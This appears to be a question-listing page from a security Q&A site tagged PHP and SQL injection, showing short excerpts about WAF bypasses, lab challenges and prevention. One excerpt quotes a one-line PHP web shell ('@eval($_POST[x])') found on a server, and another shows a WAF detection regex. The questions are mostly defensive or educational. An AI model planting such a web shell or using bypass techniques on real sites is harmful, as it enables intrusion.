All Questions
Tagged with phpsql-injection
157 questions
2votes
1answer
297views
MySQL error when SQL injecting valid command
I have internal API tool to clear database tables for testing, the code is unsafe and I want to write a small PoC. I however have troubles successfully executing this basic SQL-injection. This ...
0votes
1answer
94views
How to bypass htmlentities($_POST['username'],ENT_QUOTES) SQL injection
What is the sample payload to bypass this protection for SQL injection in PHP code? . . . htmlentities($_POST['username'],ENT_QUOTES) . . . $myquery = mysql_query(sprintf("SELECT * FROM `users` ...
0votes
0answers
130views
Problem bypassing a PHP WAF for SQLi
I am working to bypass this WAF, but I have some problems. $args_arr=array( 'sql'=>"[^\\{\\s]{1}(\\s|\\b)+(?:select\\b|update\\b|insert(?:(\\/\\*.*?\\*\\/)|(\\s)|(\\+))+into\\b).+?...
1vote
1answer
1kviews
SQL Lite Injection via CSS URL
We had a "pentest" done on our website - and received the following alert (xyz.com is a placeholder for the real name. I queried this with the testers, and they say their automated tools ...
0votes
1answer
256views
This is supposed to be vulnerable to SQL injection but I can't really see how. Is it really that bad?
See bellow php code that takes a url param, queries a db and then returns a string: $inpt = ereg_replace("[^A-Za-z0-9" . '' . "]", "", $_GET['param']); $rtrn = $...
0votes
1answer
141views
Why can I not sql inject this piece of code? [duplicate]
This is the code: $stmt = $db->prepare("SELECT DISTINCT * FROM kurssit WHERE BINARY id=? AND BINARY avain=?"); $stmt->bind_param("is", $kurssi, $avain); // prepare and bind $...
1vote
0answers
227views
SQL Injection Prevention WAF Generic Rule for Wordpress
We are trying to develop a GENERIC WAF Rule for SQLI Prevention for WordPress-based websites that can provide some level of effectiveness with a very low probability of having false positives. From my ...
1vote
1answer
3kviews
Bypass input validation
I'm trying to create a vulnerable sandbox environment for pentesting challenges. As part of the challenge, I want to include some elements of XSS or SQLi if possible. However, I do not wish to make ...
0votes
0answers
93views
Backendly preventing database injections on simple web forms [duplicate]
I have a simple PHP-HTML-CSS contact form which saves emails to a local email client's database (in my case, Roundcube's database, which is a standalone MySQL database, I think --- I haven't used the ...
0votes
0answers
212views
SQL Injection Training challenge including a PHP file
I’m currently trying to get some knowledge in SQL injection. In a pen test environment, there is a challenge on which you get the PHP file and you need to try to login using SQL Injection. I’ve ...
0votes
0answers
1kviews
Sqlmap not detects error based injection
I am working on Hack the VM (hard machine) for my OSCP preparation There is a web app with two drop down boxes.. Year and month.. both contain numbers and a submit to fetch data from DB based on year ...
0votes
0answers
40views
.php code in .txt file with eval() function [duplicate]
I have found three files with name as below: a.phpfile.txt b.phpfile.txt c.phpfile.txt when i open, each file contained with the following code: <?php @eval($_POST[x]); I have deleted all ...
0votes
1answer
442views
Having problems with SQL injection with mysqli extension PHP
I am new to SQL injections, and people on Reddit asked me do the portswigger labs. Which I did up till before 2nd order ones. So I am pretty comfortable with usual SQL injections. Now I have myself ...
0votes
1answer
563views
SQL injection and XSS prevention
I would kindly ask you to review the following code and tell me if it's enough to prevent most of SQL injection and XSS attacks. SQL injection: treated via PDO prepared statements; XSS: All user's ...
1vote
3answers
797views
Prevent SQL injections on the old PHP website using software
A friend of mine works for a company which owns a 15-ish years old website written in PHP using Apache/MySQL/home brew CMS and outdated hosting on OS Debian 8 "jessie". SSH allows passwords (with no ...